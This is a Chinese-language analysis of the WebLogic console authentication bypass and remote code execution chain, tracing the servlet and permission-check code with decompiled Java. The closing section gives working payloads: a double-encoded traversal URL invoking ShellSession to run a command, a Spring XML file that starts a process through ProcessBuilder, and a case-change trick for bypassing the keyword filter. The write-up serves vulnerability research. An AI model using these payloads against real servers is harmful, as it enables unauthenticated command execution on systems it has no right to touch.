开局先说一句四毛二永远滴神。
weblogic 会在weblogic.servlet.internal.WebAppServletContext
进行权限检查,主要是调用 WebAppSecurity#checkAccess 方法。
在 WebAppSecurity#checkAccess 方法当中会根据当前的URL进行资源判断。
我们可以看看 WebAppSecurityWLS#getConstraint 方法,这里会进入到 StandardURLMapping#getExactOrPathMatch 方法当中。
而实际上 this.matchMap 的内容与我们 web.xml 文件当中的,静态配置项是一致的,为了解决这个静态目录的问题,weblogic 还自动补齐了一个/
。
在 WebAppSecurityWLS#getConstraint 方法处理之后返回的是 ResourceConstraint 且对应的文件id正是我们的静态路径/images/*
,在这里已经把我们的 unrestrict 属性设置为 true ,且 loginRequired 属性为 fasle 。
之后会调用 SecurityModule#isAuthorized 方法进行检查。
而 SecurityModule#isAuthorized 方法当中先获取用户当前 session ,在调用 SecurityModule#checkAccess 进行检查。
在 SecurityModule#checkAccess 也是调用 CertSecurityModule#checkUserPerm 进行检查。
boolean checkAccess(HttpServletRequest req, HttpServletResponse rsp, SessionSecurityData session, ResourceConstraint cons, boolean applySAF) throws IOException, ServletException {
...
if (this.modules.length - 1 == i) {
if (lastModule instanceof FormSecurityModule) {
return lastModule.checkAccess(req, rsp, session, cons, applySAF);
}
return lastModule.checkUserPerm(req, rsp, session, cons, subject, applySAF);
}
在 CertSecurityModule#checkUserPerm 进行检查的过程中,又回到了 WLSSecurity#hasPermission 方法当中。
在 WebAppSecurity.class#hasPermission 方法,也是通过判断当前对象的 unrestrict 属性,也就是说判断他是不是静态资源,前面我们说过这里的属性自然是 true 。
实际上在 WebAppServletContext#doSecuredExecute 方法当中调用了 checkAccess 方法针对路径是否有权限进行了判断,判断过程就是 0x01 部分中,之后会调用相应 subject 对象的 run 方法分别进入进行处理。
weblogic 的 console 相关路由映射在\Middleware\Oracle_Home\wlserver\server\lib\consoleapp\webapp\WEB-INF\web.xml
当中,实际上相关映射关系是 AppManagerServlet 这个servlet name,我们登陆后访问后台的url是 console.portal ,因此可以跟进来看看。
<!-- NetUIx Servlet -->
<servlet>
<servlet-name>AppManagerServlet</servlet-name>
<servlet-class>weblogic.servlet.AsyncInitServlet</servlet-class>
<init-param>
<param-name>weblogic.servlet.AsyncInitServlet.servlet-class-name</param-name>
<param-value>com.bea.console.utils.MBeanUtilsInitSingleFileServlet</param-value>
</init-param>
<init-param>
<param-name>wl-dispatch-policy</param-name>
<param-value>consoleWorkManager</param-value>
</init-param>
<load-on-startup>1</load-on-startup>
</servlet>
<!-- NetUIx Servlet Mapping -->
<servlet-mapping>
<servlet-name>AppManagerServlet</servlet-name>
<url-pattern>/appmanager/*</url-pattern>
</servlet-mapping>
<servlet-mapping>
<servlet-name>AppManagerServlet</servlet-name>
<url-pattern>*.portlet</url-pattern>
</servlet-mapping>
<servlet-mapping>
<servlet-name>AppManagerServlet</servlet-name>
<url-pattern>*.portion</url-pattern>
</servlet-mapping>
<servlet-mapping>
<servlet-name>AppManagerServlet</servlet-name>
<url-pattern>*.portal</url-pattern>
</servlet-mapping>
选择在weblogic.servlet.AsyncInitServlet
的 service 位置下个断点,为什么在这里下断点,原因就是上面那个 web.xml 文件的映射关系。
在 MBeanUtilsInitSingleFileServlet#service 方法当中不允许出现;
符号,之后调用他的父类 servlet 的 service 方法,也就是 SingleFileServlet#service
public void service(ServletRequest req, ServletResponse resp) throws ServletException, IOException {
if (!hasInited) {...}
if (req instanceof HttpServletRequest) {
HttpServletRequest httpServletRequest = (HttpServletRequest)req;
String url = httpServletRequest.getRequestURI();
if (url.indexOf(";") > 0) {
if (resp instanceof HttpServletResponse) {
HttpServletResponse httpServletResponse = (HttpServletResponse)resp;
httpServletResponse.sendError(404);
}
return;
}
}
try {
super.service(req, resp);
而在 SingleFileServlet#service 经过一系列处理之后,也是会调用他的父类 servlet 的 service 方法,也就是 UIServlet#service 方法,在 UIServlet#service 方法当中会根据http头部不同,选择相对应的方法。
public void service(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
String method = request.getMethod();
if (method.equals("GET")) {
this.doGet(request, response);
} else if (method.equals("POST")) {
this.doPost(request, response);
} else if (method.equals("HEAD")) {
super.doHead(request, response);
} else {
this.doPost(request, response);
}
经过上面的处理最后会来到com.bea.netuix.servlets.manager.UIServlet
,跟进 createUIContext
在 com.bea.netuix.servlets.manager.UIServletInternal#createUIContext 会调用 getTree 方法进行处理。
在 com.bea.netuix.servlets.manager.UIServletInternal#getTree 方法当中会进行一次 URL 解码 ,这⾥可以看出来为什么可以⽤url 2次编码可以绕过。之后的处理过程中会有if判断,判断是不是__Streaming.portal
,如果不是,会转发到processStream(requestPattern, ctxt, requestPattern, request, response, setContentType);
这个构造方法进行处理。
在 processStream 这个构造方法中,会把传入数据转发到 SingleFileProcessor#getMergedControlFromFile 当中进行处理
而在 SingleFileProcessor#getMergedControlFromFile 当中,创建了一个 saxParser 的xml解析器,并且调用 getControlFactoryFromFile 方法进行处理。
在 SingleFileProcessor#getControlFactoryFromFile ,可以看到下面这句代码。
ControlTreeFactory ctf = this.getControlFactoryFromFileWithoutCaching(filename, saxParser);
首先先从this.servletContext.getResourceAsStream(filename);
方法内获取数据,最后会跟到 War#getSourceFromDisk 的ceche中加载了我们当前的 console.portal 。
然后在 WebAppServletContext#getResourceAsStream 方法当中会根据我们刚刚的路径D:\newweblogic\wlserver\server\lib\consoleapp\webapp\console.portal
获取 getInputStream 。
之后就是在 SingleFileProcessor#getControlFactoryFromFile ,我们从D:\newweblogic\wlserver\server\lib\consoleapp\webapp\console.portal
读取的xml内容,交给 getNetuixControlFactory 方法去做xml内容的解析。
完成this.createUIContext(request, response, (UIControl)null);
之后,把相关对象内容付值给 jspContext 的 tree 属性,并且调用 this.runLifecycle 继续完成下面操作。
在 runLifecycle 方法当中,赋值给 jspContext 的 lifecycle 属性继续完成下面操作。
跟进 lifecycle.run 方法,就是下面这些操作,先看看 runInbound 方法。 runInbound 方法,把 controlTreeRoot 对象取出来赋值给root对象,接着把this._inboundLifecycle
丢给 types 数组。之后调用 processLifecycles 方法进行解析。
public void run(UIContext context, IControlTreeWalkerPool walkerPool) throws ServletException, IOException {
if (!context.isOutbound() && context.isPostback()) {
this.runInbound(context);
context.setOutbound();
this.runOutbound(context, walkerPool);
this.runCleanup(context);
}
在 processLifecycles 方法当中会调用com.bea.netuix.nf.ControlTreeWalker.walk
方法进行循环解析,我们上面的 types 数组。
在 walk 方法当中会调用 walkRecursive 方法进行处理。
在 walkRecursive 方法当中,通过root.getVisitorForLifecycle(vt);
获取到当前的 ControlVisitor 对象,在判断其是否是Root节点,如果是Root节点,就会进入相应对象重写的 visitRoot 方法进行处理。
之后就是在 walk 方法递归循环ControlTree
的过程,可以看到与xml⽂件的节点对应。
根据补丁这次出问题的类是在com.bea.netuix.servlets.controls.portlet.Portlet
,而我们前面ControlTree
中的Control
对应包在com.bea.netuix.servlets.controls
。
protected void init() {
boolean isServiceLevelEnabled = this.checkServiceLevel();
if (!isServiceLevelEnabled) {
this.setSuspended(true);
}
super.init();
一直跟进 init 方法会来到 BreadcrumbBacking#init 当中,首先 findFirstHandle 方法循环获取 getParameterNames 并且判断是不是handle,如果是的话,把 param 部分取出赋值给 handleStr 。
之后就来到核心方法 getHandle 当中。此时的参数我们可控。这⾥有⼀个任意类实际例化的操作,并且可以传⼊⾃定义参数,参数会⾃动从 serializedObjectID
的括号中提取。
http://192.168.2.106:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27calc.exe%27);%22);
com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext
xml文件内容
<?xml version="1.0" encoding="utf-8"?>
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>cmd</value>
<value>/c</value>
<value><![CDATA[calc]]></value>
</list>
</constructor-arg>
</bean>
</beans>
com.bea.console.utils.MBeanUtilsInitSingleFileServlet
过滤了关键字;、%252e%252e、%2e%2e、..、%3c、%3e、<、>
,可以通过大小写绕过
com.bea.console.handles.HandleFactory
只能实例化com.bea.console.handles.Handle
的子类。